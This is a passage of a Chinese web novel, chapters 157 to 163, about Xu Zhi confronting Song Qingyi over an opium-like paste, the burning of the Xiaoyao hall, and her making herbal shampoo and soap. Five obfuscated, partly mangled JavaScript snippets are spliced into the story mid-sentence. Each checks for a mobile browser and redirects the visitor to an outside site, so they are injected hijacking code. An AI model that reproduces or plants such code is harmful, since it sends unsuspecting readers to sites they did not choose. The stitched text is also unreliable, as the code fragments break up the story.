听着温之鹤把这生意又说了一遍给黄药师听,两个人瞬间达成了同盟,都纷纷看向许芷,等着她表态。 许芷勾唇一笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111000|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爽快道:“既然如此,放着钱不赚那是傻子,那就这么说定了,温公子可以放我走了吗?” 温之鹤听到不慌不急道:“许姑娘别着急,既然是生意,那就该落在纸上,这样有据可依。” 说着让四方拿出来了一张字据,许芷接过看了起来。 看过里面的内容,许芷的眉头皱的可以夹死苍蝇,许久没有出声。 温之鹤等不及开口问道:“许姑娘果然是讲究人,可看好了?” 闻言,许芷放下了字据,拧眉道:“看好了,只要我签上名字就成是吧。” “当然。” 温之鹤脸上挂起了势在必得的笑容。 许芷也不含糊,直接拿起一旁的毛笔签上了自己的名字。 黄药师和温之鹤都看过字据没什么问题,就放许芷离开。 “那我便先走了。” 许芷脸上挂着笑离开,刚关上门脸立马垮下来。 她眼神中都是怒火,愤愤不平的朝着铺子的反方向走去。 到了怀清堂的小门,趁人不注意溜进去之后,熟门熟路的进了后院宋清奕住的地方。 她在暖阁找到了正在吃东西的宋清奕。 看到她来,宋清奕愣怔一瞬,似是不敢相信。 “你、你怎么回来?” 说完赶紧拉开一边的凳子,让她坐。 “正好刚做好的吃食,都是照着姑苏的口味做的,你快坐下尝尝。” 许芷面无表情的听话的坐在了他的旁边,冷眼看着他给自己置放碗碟,往自己的盘子里夹东西。 “这个白斩鸡,虽然不是五德居的,可这个厨子做的毫不逊色,你快尝尝。 还有这个碧螺虾仁,虽然虾的个头没有春秋的大,但是肉质紧实弹牙,吃起来也不错......” 他喋喋不休的说着,许芷就这么看着他给自己夹菜,可始终不拿起筷子。 宋清奕挑眉看她,有些疑惑的笑问:“怎么了?一直看着我。” 闻言,许芷拿起了筷子,夹起了一颗虾仁,说道:“听说你去了外地谈生意。” 话音落下,虾仁进嘴。 第158章 钱财迷人 宋清奕不解,为什么会问这个,但他还是温柔的回答道:“是,二月的时候我去了江南,回来已有十日。” 回答过许芷的问题,宋清奕突然想到了什么,他笑着恭贺许芷。 “听说你开了铺子,恭祝你生意兴隆。” 听到这话许芷并没有很高兴,而是看着他问道:“你知道我这铺子卖的什么吗?” 宋清奕:“自然知道,你那汤药可是出了名的,近日我出门到处都能听到你的美名。” “那逍遥馆呢?你也知道逍遥馆?” 许芷不死心的继续问着。 而宋清奕听到了逍遥馆三个字,瞬间变了脸色。 他抓住许芷的手,眯着眼严肃的问许芷。 “逍遥馆,你知道多少?” 原来真是他! 许芷简直不敢相信,就算那些人都说背后之人是他,可是她还是要过来问过,听他亲口承认才算。 自己到底为什么要抱这种侥幸心理,是他就是他,何必给他找理由。 许芷甩开他的手,情绪有些崩溃的说道:“我都知道。” “什么?” 宋清奕闻言脸上多了丝不安,他稳了稳心神才开口道:“这件事我可以解释,但不是现在,你千万不要牵扯其中,我会尽快解决的。” “解决?”许芷冷笑一声,“你要怎么解决,你知道那烟膏害了多少人吗?” 宋清奕脸色白了几分,“我自然知道,可是我身不由己,长公主的势力不是我一朝一夕就能铲除的!” 听到长公主三个字,许芷愣怔一瞬,有些疑惑问道:“长公主?” 宋清奕看着许芷疑惑的样子,想到了另外的可能。 “你是来套我话的?” 明明许芷说了她全都知道,可是现在听到长公主三个字一脸迷茫,说明她根本不知道逍遥馆背后之人是长公主。 那她还这么说,除了来套自己的话,宋清奕想不到其他的可能。 他自嘲一笑:“我就该知道,你怎么会突然来找我。” 说完抬眼看向许芷,他叹了口气。 “你想知道什么,直接问就是了,我知无不言,不用这样套我的话的。” 许芷皱眉,冷言道:“我没有套你的话,我确实不知逍遥馆背后之人是长公主,而且我也不可能不牵扯其中。” “为何?”宋清奕不解,他着急的说道:“你现在的身份不可能对抗的过长公主,所有的事情我来就成,你千万不要牵扯进来,我可能保不住你!” “你来?” 许芷好像听到什么笑话一样,他来就是帮着长公主给逍遥馆提供药膏是吗? 权势压**,钱财迷惑人。 她跟宋清奕早就不是一路人,是她傻。 就跟之前想的一样,十年过去了,谁还不会变了呢? 她站起身语气决绝道:“你跟我早就不是一路人了,我怎么做跟你没关系,我也不需要你保我。” 听到这划清界限的话,宋清奕心中火气上涌,他不明白他只是想对许芷好,可是她为什么一直要推开自己? 推开就算了,还非要牵扯进这种危险的事情中去。 许芷话说完就要走,可还没走出几步,手腕就被人紧紧攥住。 “对不起,怀夕,今天我必须阻止你,十年前是我无能,十年后我不可能让你再有任何的意外出现。” 许芷转头制止他:“我叫许芷!苏怀夕早就死在了十年前,我不是苏怀夕了,不会是了!” 话音落下,泪滴跟着落下,那倔强的样子,让宋清奕好似看到了苏怀夕,他眼眶也跟着红了,他不仅没放开,反而抱了上去。 “好,就算你是许芷,那我也不会让你再有任何的危险,不会让你离我而去!” 许芷挣扎着,可怎么都挣扎不开。 “宋清奕,你怎么会变成了这样?” 她这话问的是两个人。 “是,我变成了这样敏感自私的人,我变成了这样紧追不舍的人,之所以变成这样,是因为我真的不能再接受失去你这件事。 只要你能好好地活着,我做什么都可以,可是你不要推开我的好心,不要!行吗?” 最后两个字说的那么轻,那么小心翼翼,生怕被拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111001|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许芷心里冷的她鼻酸,她死的时候,刚跟他互通心意,让他等着自己回来就嫁给他。 可是再次醒来两人之间隔了十年,隔了很多不知道的人和事,这让她无力,让她不知道该怎么面对他。 甚至让她不敢接近他,她心中有仇,大仇未报她不能跟他走得近,万一、万一波及了他该怎么办? 可是逍遥馆的事情她真的忍不住来质问他,来问他为什么会变成这样,可他说是为了她。 这种话要她怎么反驳? 她闭眼留下两行清泪,泪水滴在了宋清奕环抱着她的手上。 “宋清奕,你若是为了我,那我更加不可能不牵扯其中,你若是为了我做出这种丧尽天良的事情,你要我怎么心安!” 这话倒是让宋清奕疑惑不解,他什么时候做了丧尽天良的事情? 他做生意回来发现城中盛行一种烟膏,顺藤摸瓜查下去,发现竟然有人以他怀清堂的名义提供烟膏。 他正在查怀清堂内部的内鬼,只是这件事牵扯甚多,尤其是跟长公主有关,他就不能随便轻举妄动,只能私下里慢慢查。 怀清堂里牵扯的人他还没查完,许芷就过来了。 他根本没有做什么丧尽天良的事情。 突然,宋清奕想通了,既然他得到消息这药膏跟怀清堂有关,那许芷也应该是得到了一样的消息,所以今天才会来质问自己。 怪不得从一开始他就觉得他们两个人没说到一块去,原来两个人说的都不是一回事。 而不管是谁,知道听到这件事跟怀清堂有关怀疑到他的头上也是正常。 毕竟谁让他才是怀清堂的东家,是个人都会觉得没有他的授意,下面的人怎么敢这样做。 他深深地叹了口气,看着许芷嫉恶如仇的眼神,将自己知道的所有都和盘托出。 “所以,不管你信不信,烟膏的事情是下面的人背着我搞出来的,我是真的不知道。 我也是这次回来之后才开始调查,你放心,这种坑害人的生意我一定会处理好的,但是你也要答应我别再管了,长公主的势力可不是闹着玩的。” 第159章 神仙显灵 听到了他的解释,许芷情绪平静了些,她挣开了他的怀抱,转身看着他,认真的说:“那你发誓,你若骗我,千刀万剐。” 宋清奕立马起誓,照着许芷的话郑重发誓。 “我宋清奕,若是骗许芷,就让我千刀万剐不得好死。” 闻言许芷舒出一口气,才说出了自己今天的事情。 宋清奕听到后,手边的筷子直接压折了。 他没想到长公主的人,竟然直接要拉许芷入伙,怪不得许芷会这么生气,会来质问自己。 只怕在那些人的嘴里,自己早就成为了同伙。 “你放心,小芷,我一定不会做这种伤天害理的事情。 不过,他们最后怎么放了你的?” 他是知道那些人的,若是目的没达到,怎么可能放了许芷,他怕许芷受伤。 许芷直接道:“还能因为什么,自然是让他们得偿所愿,这些人达到了目的暂时不会对我怎么样。” “那便好。” 宋清奕松了口气。 可许芷却转头问他:“我与豺狼同流合污,你就不会对我不齿?” 宋清奕低头浅笑,“保全自己,才能谈气节。 何况药汤他们自己也能研制,就算你宁死不从,也改变不了什么,还不如先妥协,再寻机反抗。” 许芷微微点了点头,“所以,你不知道黄药师参与其中?” 宋清奕摇了摇头,“黄药师可是隐士高人,当时我费了很大的劲才把人请过来,我根本没想过会是他。” 许芷:“既然如此,给你提供了方向应该就好查,后续查到什么我希望你对我不要隐瞒。” 说完许芷就要走,宋清奕再度叫住了他。 “等等,你既然答应了他们,接下来要怎么做?” “若是馆子不在了,也就不需要我了,你说呢?” 许芷说完头也不回的走了。 到了铺子,孟雨兰正焦急的转来转去,而王金宝也愁容满面的站在一边。 “大妹子,你就坐下吧,别转了,转也没用啊。” “不行!急死我了,小妹怎么会去了这么久,还不回来?” 说着,孟雨兰就要冲出去找她。 刚踏出门槛,就与许芷撞在了一起。 “雨兰姐这是要去哪?” 看到许芷,孟雨兰着急的转着圈检查了一下,确认许芷没一点事儿,才用手顺了顺心口,长舒一口气道: “吓死我了,还好你没事啊,小妹,你再不回来我就要去找你了。” 许芷脸上表情轻松的问道:“你知道我去哪了?” “不知道啊。”孟雨兰说的理所当然:“但总比在这等着要好把。” 许芷将孟雨兰按着坐下,给她倒了杯茶,“我这不是好好地回来了,别担心,这事儿就别跟祖母说。” 孟雨兰喝过茶水,点了点头,她可不敢说。 就按照老太太那个架势,要是知道了,这铺子都别想开了。 一定把她们姐妹俩关在家里,不让出来,杜绝一切可能的危险。 这件事好像只是个开铺子的小插曲,并没有影响他们做生意。 而许芷变得更忙了,有时候甚至只包了药,剩下的所有都让孟雨兰和王金宝去忙。 问她去干什么了,她只说是为了铺子拉生意,可是拉了这么久,也没见铺子里添什么。 但是跟药有关的事情,孟雨兰知道自己不懂,所以就不多问,也不多说。 她相信许芷心里有数。 清明时节雨纷纷,铺子关门了几天。 那汤药卖的越来越少了,又到了上坟祭祖的时候,所以许芷大手一挥给他们放了假。 王金宝早就没事了,他也已经跟家里人坦白了一切,趁着假回家几日。 而孟雨兰也需要给家里人上坟,所以留在铺子几天,没回下坪村。 邓老太还以为只有自己跟孙女许芷在家,可没想到许芷也有事,日日往城里跑,就连下雨都要去。 她不知道孙女在忙什么,只能帮助孙女把家里事情弄好。 清明节过后的第一天,雨过天晴,铺子也要重新开门了。 因为喝汤药的人已经很少了,这生意快做到头,所以许芷开始推香囊。 只是因为她忙得很,铺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116604|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香囊还没什么名气。 孟雨兰看到那上百个香囊头疼的很,卖不出去可就白费劲儿了。 可是偏偏许芷不着急,只说让她继续做。 她倒是听了许芷的话,继续做香囊,但是速度远不如刚开始。 想着这样就能少亏一点。 开门的第一天,清闲的度过了。 而这一晚,城中发生了大事。 那恶名在外的逍遥馆一把火烧没了。 听说是吸食了烟膏的某个贵公子发了疯一样,将房子点着了。 刚开始的火势还能控制,可是不知道为什么,逍遥馆的人都好像昏了一般,竟然没有人发现,后来火势大了救不了,很多人都葬身火海。 看到火的时候,还有人担心逍遥馆里的烟膏会不会因为这火,点着了全城的人都被迫吸食。 不少人睡觉的时候都蒙着被子睡,生怕被那东西祸害到。 可是第二日大家才知道,恰巧昨日逍遥馆没补货,所有的烟膏昨日已经没有了,大火的时候只有少量烟膏,但那没什么影响。 这件事县令虽然极其重视,可是点火那位贵公子家里在京城也有靠山,他实在是没办法。 何况那位贵公子也死在了火海里,贵公子的家人还施压让县令做主。 无奈最后这件事不了了之。 逍遥馆没了,最高兴的莫过于城里的百姓,没了这害人的东西,大家的生活都有盼头了。 纷纷都说是神仙显灵,故意让这逍遥馆没了。 而听着大家的议论声,孟雨兰和许芷却把铺子关上了。 有人看到忙问许芷:“许姑娘,你这铺子怎么关门了呢?” 许芷笑着回答道:“当时开门开的急,是为了卖汤药,不让大家深受其害,现在逍遥馆没了,大家也都不沾那东西,就不需要了。 我也要好好收拾下,重新开张才是,好多东西我都没弄好呢。” 听了许芷的话,那人笑着说:“成,许姑娘到时候等你开了张,我们来捧场,你可要给我便宜些。” “放心吧。” 话音落下,铺子的门板都合上了。 第160章 制作膏沐 怀清堂。 宋清奕看着搜罗来的证据,苦笑一声。 “黄老,我一直敬重你,却没想到......” 话根本说不下去,宋清奕从来没想到这个人会是黄药师。 “为什么?我就想问一句为什么?我爹到底给了你什么好处?” 黄药师看起来坦坦荡荡,一点都没有背叛了宋清奕的感觉。 他喝了面前的酒,缓缓开口道:“令尊跟我是旧相识,他的事我义不容辞。” “旧识?”宋清奕想到了什么,“难不成我当时费了九牛二虎之力把您请出山,其实是因为您跟我父亲的关系,您才愿意的?” “没错,小子。” 黄药师直接承认了,其实他的踪迹都是宋清奕的爹故意透露的。 那些为难他的事情,也只是听宋清奕他爹的话,故意而为。 黄药师又喝了一杯酒,劝告道:“你是你爹的儿子,不该毁了你爹的基业,逍遥馆背后之人你也清楚,你爹可替你顶不了多久。” 说完他头也不回的离开了这里,又去当他的隐士高人。 宋清奕捏着杯子的手不断地收紧,直至气极将杯子摔碎在地。 他这辈子最想的事情就是跟他爹划清关系,可是不管他怎么做,都摆脱不了自己的父亲。 从前,他只当父亲是父亲,自己是自己,父亲要做什么他管不着,他只能做好自己。 可是这次的事情,牵扯到了许芷,还祸害了这么多人,他怎么可能置身事外。 他们家欠苏家太多,怎么能一错再错! 宋清奕只觉得无力,第二日他将铺子交给了刘管事,自己要回家一趟。 下坪村。 因为铺子暂时不开,王金宝没事干,就先回了家,等到铺子再开的时候再来帮忙。 许芷和孟雨兰买了一大堆需要研究的东西就回了村。 回了村,许芷第一时间先去地里看了药苗,看到大家的药苗长势不错,许芷脸上露出了笑容。 还特意拿了东西去感谢王家和张家,在她忙碌的时候帮助自己看好了村里的药田。 听到许芷这么客气,几人纷纷表示这都是分内的事,不让许芷太见外。 地里的活计没什么要忙的,许芷就专心的搞铺子。 她的铺子主要经营药用品:香囊、药枕、药被、皂儿膏和膏沐等等用药制成的日常用品。 除此之外,还可以帮人抓药,制药丸,以及一些疑难方子的熬药。 香囊、药枕、药被好弄,主要是配好方子,制成就好。 若有其他的需求,也可以单独给某人诊脉后定做。 还可以制定香囊、药枕的用料、绣的图案,总之各个价位各有不同。 许芷现在主要是想试试皂儿膏和膏沐能不能行。 古方她知道,但是她从来没做过,用量上需要稍微琢磨琢磨。 她先做的是膏沐。 村子里的人洗发非常简单,要么用淘米水,要么用草木灰。 这些倒是也能洗去油污,可到底是洗的差一点,不能够完全的洗干净。 许芷首先把料都准备齐了。 生姜、制何首乌、无患子、皂荚、浮萍、侧柏叶、桑叶、透骨草、墨旱莲、苦丁茶、茶麸、灵芝和榆树皮。 一共十三种原料。 其中生姜、浮萍和侧柏叶作用都是生发。 制何首乌、墨旱莲则是黑发。 无患子、皂荚、是去污之用。 桑叶、苦丁茶可以止痒去炎,主要是给一些经常性头痒的人用。 茶麸和灵芝有滋养润发之效,榆树皮能让做出来的膏沐增稠、还能让头发柔顺。 因为有些原料作用是重合的,所以许芷弄了好几个方子,打算试试哪一个洗起来更好,让家里人都试试。 试出最佳的组合好批量生产。 她将按照自己写的几个方子,先将所有的原料都分好收拾好。 先做的主要是浸泡,将每一个方子的洗发原料都浸泡半个时辰。 接着加半桶水进去,大火烧开转小火一只煮,煮到所有的原料都烂糊,就可以盛出过滤。 过滤后才放榆树皮浸泡三刻,再次过滤,晾凉后就可以使用了。 孟雨兰帮着许芷在院子里支了两口大锅制作膏沐。 煮开的时候闻着那味道实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116605|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在是不好闻,孟雨兰捂着鼻子问道:“小妹啊,你确定这东西能洗发? 怎么这么难闻啊,我原来当绣娘的时候,见到那些夫人小姐的头油都可香了。” 孟雨兰这么一说倒是提醒许芷了,这东西光好用还不行,那些夫人小姐们还喜欢用带着香气的。 是她自己不讲究,觉得能用就行,但是要卖的话不能只考虑功效,还要考虑吸引顾客的事情。 许芷把这件事记下了,转头跟孟雨兰讲:“没事,我们这主要是先试一试能不能行,要是好用,大批量制作卖的时候再添些香味进去。” 屋檐下坐着的邓老太闻言,也开口道:“我觉得这味道就成,太香了反而刺鼻,让人头晕,就这药味我闻着舒服。” 这话一出,跟孟雨兰是完全不同的意见,不过也代表了不同需求的人。 许芷心想到时候制作,就制成两种膏沐,一种带香味的,一种不带香味的,看看哪种卖得好多做一些,另外那种少做一些就行。 经过一天的努力,终于在太阳落山之前,将膏沐晾好了。 许芷打算跟孟雨兰一人试一种,今晚就洗头发试试。 邓老太看着那黑黢黢的粘稠的膏沐,眼神竟也亮了起来。 “让我老婆子也试试,不能光你们姑娘家爱干净,我也喜欢干干净净的。” “那当然好了。” 许芷笑着对祖母说道:“祖母想用哪一种啊?” 邓老太倒是没什么好挑的,她随口道:“你用哪个我就用哪个。” 祖孙俩相视一笑,许芷行了一声,开始跟孟雨兰分装今日做的膏沐。 她用了竹筒和瓷瓶来区分,打算分装一些送去给王家和张家。 分好之后,许芷和孟雨兰两种都拿了,一个人去了王家,一个人去了张家。 许芷到王家的时候,王桥刚回来,饭菜正好摆上。 王茹娇见到许芷来亲热热的迎上去。 “小芷,你来啦,正好快来吃点。” 许芷笑着摇摇头道:“吃饭就不必了,家里祖母已经在做了,我是来给你送点东西的。” 说着将手里的瓷瓶和竹筒都递了过去。 第161章 一起洗发 王茹娇将东西接住后,打开都闻了闻,除了药味,她还真闻不出有什么区别。 她看着那粘稠的黑色物,有些嫌弃的皱起眉头,问许芷:“这是啥呀小芷,怎么看着这么恶心呢?” 有点像黑色的鼻涕。 不过这话她只敢在心底想想,不敢说出来。 许芷笑着回答:“这是我制的洗发用的膏,想让你们帮我试试,到时候我那铺子里要卖。 但是洗发的方子很多,我不知道哪个最好,所以先熬制了两种,希望你跟你家人用过后给我说一说感受,我就心里有数了。” 听着这是洗发的东西,王茹娇瞬间觉得这东西不恶心了。 她早就想跟城里人夫人小姐一样,用那种特制的洗发东西,可是那东西贵,她不舍得。 所以她立刻高兴地答应了。 许芷客气的对其他人也说:“叔、婶子、王奶奶,麻烦你们了,用过之后跟我说一下,我调出最好的方子,到时候送你们膏沐。” 几人说了许芷太客气,都笑呵呵的应下了。 给王茹娇送完,又顺道去了王三婶家。 王三婶家里也正在吃饭,看到许芷来,一样热情的邀请她一起吃。 同样拒绝后,许芷说明了来意。 王三婶和王三叔当然是立即答应了。 不说这膏沐怎么样,单就许芷给送东西他们都要好好收下,何况是这种用的东西。 他们老两口这一辈子了还没用过这种城里用的东西,拿到笑眯眯的。 让许芷放心,老两口一人用一款使用过后跟许芷说感受。 送完之后,许芷就回了家。 出去前,饭菜就已经做上了。 除了炖的肉还没好,其他的馒头和炒菜都好了,邓老太已经盛好端上了桌。 吃过饭,许芷收拾碗筷,邓老天坐着剔牙休息,而孟雨兰开始烧水,准备三个人洗头。 很快烧好水后,孟雨兰拿来三个盆,兑好凉水,让邓老太先洗。 “奶奶,我先给您洗吧。” 邓老太也不扭捏,搬了个凳子坐过来让孟雨兰给自己洗头。 她上了年纪怕冷,平时洗澡洗头都少。 但是也保证不生虱子,要不然可太要命。 所以头发散下来的时候,还是有点太久没洗的味道,还有点打结。 孟雨兰拿过来梳子,把头发梳通梳顺之后才开始洗。 本来邓老太打算坐在凳子上,她侧着头让孟雨兰给她洗。 可是毕竟上了年纪,刚开始洗脖子就有点受不了,头发都没湿。 正好许芷洗完碗筷出来,她建议道:“不然搬两条板凳过来,放在一起祖母躺上去洗也成。” 孟雨兰一听觉得这个法子不错,于是说干就干,立刻就搬了两条板凳过来,邓老太躺上去正好。 顺道给邓老天的衣领处围了根巾帕,省的一会儿洗的时候水流进了衣服里。 虽然是已经三月了,可是晚上的风还是有些凉。 许芷让孟雨兰自己先去洗头,她来给祖母洗。 孟雨兰手已经沾水了,开始给老太太湿头发。 她笑着推道:“谁洗都一样,我这都沾上手了,你先去给自己洗吧。” 许芷闻言还想多说什么,但是孟雨兰一句没把自己当家里人,她只好妥协了,拿着自己的盆子去兑凉水。 她将盆子放到了凳子上,这样高些,洗头的时候不至于腰太累。 接着低下头将所有的头发拢到前面,拿出梳子梳顺,将头发湿过水,倒出今天熬的膏沐在手心,揉搓出沫,开始从发根开始涂抹揉搓洗发。 许芷本来以为得倒两次头发才能完全洗到,没想到就倒手心那一下都能洗全部的头发。 搓出来的沫子也不少,还隐约带着药香。 对于她这种从小闻药的人来说,这味道她喜欢。 揉洗的差不多她冲干净沫子,用巾帕擦一擦,洗完感觉头皮都清爽了。 这边祖母的头发也洗完了,许芷拿上帕子给祖母擦头发,让孟雨兰赶紧去洗,洗过干还要一会儿呢。 这个孟雨兰倒是不争,拿着自己的盆去洗头发。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许芷洗完脸,跟王茹娇说道:“刚洗完顺滑还不够,得看看过几天头发怎么样,会不会脏得快,或者觉得痒什么的,总之两天后你再给我个感受。” 王茹娇大口咬着酥饼,含糊不清的回答了声好。 这一次做出来的两种膏沐,经过他们四家的试用,一致觉得竹筒里那款更好用一些。 刚洗出来的时候倒都是一样的顺滑,但是过了两天,明显用竹筒里面的膏沐洗过的脏的更慢些。 第162章 进城买料 除了这两种,许芷又做了两款膏沐,这次的两款在原有的基础上,一款加入了桂花香,一款加入了薄荷。 做出来还是让大家试过,王茹娇、徐青云和孟雨兰更喜欢那桂花味儿的膏沐。 男人们更喜欢那薄荷的膏沐,觉得用了头皮清凉舒适。 许芷和老太太们更喜欢原味带着药香的膏沐,所以许芷打算卖这三种,花香的、薄荷香和药香的。 花香的许芷也不止弄了桂花香,还有茉莉香、兰花香和荷花香。 每一款洗完之后头发上都带着扑鼻的香气,王茹娇和孟雨兰两人甚是喜欢,这四种香味全都要。 制好了膏沐,接下来就要制作皂儿膏。 皂儿膏的种类其实也很多,有洗发的,有洗脸的,还有洗澡用的。 因为有了那些膏沐,许芷打算先做洗脸和洗澡的皂儿膏。 后续再做一些洗发用的,主要是为了远途的人准备,出门在外皂儿膏小小一块拿着很是方便。 还是老样子,许芷要先写出皂儿膏需要用的方子。 这次许芷一共写了十二个方子,每一款皂都是不一样的用途。 分别是:绿豆消暑皂、紫草解毒皂、参须温和滋补皂、莲子镇静回春皂、艾草净身皂、红枣养生皂、桂花美人皎洁皂、薏仁消肿化湿皂、红米舒缓皂、紫苏解热散寒皂、洛神抗老净化皂。 加上一个专供男子洗胡须所用的何首乌黑须皂,不多不少一共十二款。 写完之后许芷看着铺了一桌子的皂方,才觉得自己买材料买少了。 孟雨兰正好过来拿东西,看到许芷写了这么多方子她惊讶道:“小芷,这些不会都是你做皂儿膏的方子吧?” 许芷点头嗯了声,起身去房间里拿钱,要出去买东西备料。 出来的时候,正在看每一个方子的孟雨兰叫住她,问她去干什么。 一听许芷要去买料,她兴奋的也要跟着去。 从关了铺子开始大半个月她都在家里待着,有点闷了,所以也想跟着出去透透气。 这也不是什么难为人的请求,何况孟雨兰一起去的话,还能帮忙拿拿东西,所以许芷带着她一起去了城里。 因为本来没有来城里的打算,许芷上午又写了半天的方子,到城里的时候已经快晌午了。 一般城中的肉摊半天就卖完了,所以许芷进了城着急的先去肉摊看看还有没有板油。 她们两个人去的是时候,正好还剩了两斤板油。 许芷这次主要是试试,所以少一点也没关系,两斤就两斤。 买过板油,许芷又去了油坊买了些芝麻油、菜籽油。 这些油比较温和,做出来的皂儿膏会适合那些脸和身子比较娇嫩的人用。 除了用油可以做皂儿膏,皂角也可以,但是做膏沐的时候,用了太多,许芷想着就不用皂角,只用油做。 除了这些油,许芷又去了胭脂铺子买了桂花露。 剩下的绿豆、红枣、薏仁、红米和莲子在粮铺买,剩下的就都是药材,去了怀清堂添置。 她进了怀清堂的时候,杜仲和三七都在前厅,看到她纷纷都低下了头,不复从前那般热情。 许芷来买东西的,不是看他们的脸色的,所以他们什么态度不重要,只要还允许她买东西就无所谓。 所以她很是镇定的将自己需要的药材说给了杜仲听,杜仲虽然脸色冷,但是听到她要什么还是都给了的,没有耽误生意。 拿到自己要买的药材,许芷也不多逗留,转身就要走。 只是她刚走出去不久,就听到了三七的声音。 “许姑娘留步。” 许芷转身,看到三七别别扭扭的走上前,他叹了口气,对许芷道:“师父走了,你以后见不到他了,走之前他让我把这个给你。” 说着递过来了一个锦囊。 许芷没有立刻接住,而是看了他一眼,张张嘴想说什么,却什么都没说出口。 三七苦笑一声,摇摇头道:“没事,你拿着吧,也不必多说什么,我只是舍不得那个傲娇的小老头,过几日就好了。” 闻言,许芷嗯了声,拿过了锦囊,打开里面是一张药方。 只一眼她就知道这是应对**的药方,她有些惊讶地抬眼看向三七,问道:“药师,有没有留下什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121193|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么话?” 三七听到这话,眼神里流露出了纠结,最后还是开口道:“有,师父说你性子太稳,解这种毒物方子应当大胆些,让你日后也该如此。” 听到这话,许芷垂眸微微点了点头,“我知道了,我还有事要忙先走了。” 说完转身就要走,三七在她身后望着她的背影,大声道:“许姑娘,你做的是对的,别管我们。” 许芷的手颤抖了一下,唇角微微勾起,但并未回头。 买完了所有的东西,许芷带着孟雨兰回了家。 到家的时候王茹娇正在帮祖母晒被子,看到她们两个回来,王茹娇快速把手里的被子搭上绳子,跑过去问许芷她们都买了什么。 看着马背上一袋一袋的东西,王茹娇肚子里的馋虫又出来了。 “有什么好吃的吗?” 孟雨兰下了马顺势刮了下王茹娇的小鼻子,嗔道:“你呀,肚子里的馋虫爬出来长的能围村。” 王茹娇讪讪一笑:“我说我其实是来帮你们拿东西的,你会信嘛?” “为什么不信?” 许芷笑着反问,顺道将刚卸下来的药材放进了王茹娇的手里。 “那就拜托了娇娇。” 王茹娇笑的天真,一口应下,拿着东西往家回。 孟雨兰看着她这个样子,笑着摇摇头,“不是说娇娇比你还大些,怎么如此小孩心性。” “娇娇是王奶奶老来得女,自然宠爱些,没什么烦恼。” 许芷一边卸东西一边回道。 说话间,所有的东西都从马背上拿了下来,两人拿着东西回了家。 邓老太知道她们去城里来回肯定会累,所以提前蒸了腊肉饭,还炖了猪肉粉条。 她们回来的是时候,米饭和猪肉粉条都好了。 正好两人今天逛了好几家,确实饿了,放好买的东西,盛上饭三人开始吃了起来。 至于为什么是三个人,小馋虫王茹娇当然不会错过。 邓老太不饿所以没吃,她打算晚上喝碗粥就行。 她年龄大了,在家里基本上也不用干什么,所以总是不觉得饿。 第163章 草木灰水 吃过饭,王茹娇和孟雨兰收拾锅碗筷子,许芷去将今日买的东西收拾一下。 需要提前泡上水的都泡上,能直接买粉状的东西她都买了,剩下的实在是没有粉的,要么泡水用,要么在家里磨成粉。 不过她家里没有小磨,得去有磨的人家借。 王茹娇家就有个小磨,不算很沉,可以借给她,许芷打算明天再去搬来。 今天是弄不了这么多事情的。 制作皂儿膏并不简单,有了油和原料不够,还需要草木灰水,没有草木灰水,皂儿膏就不能凝结成膏状。 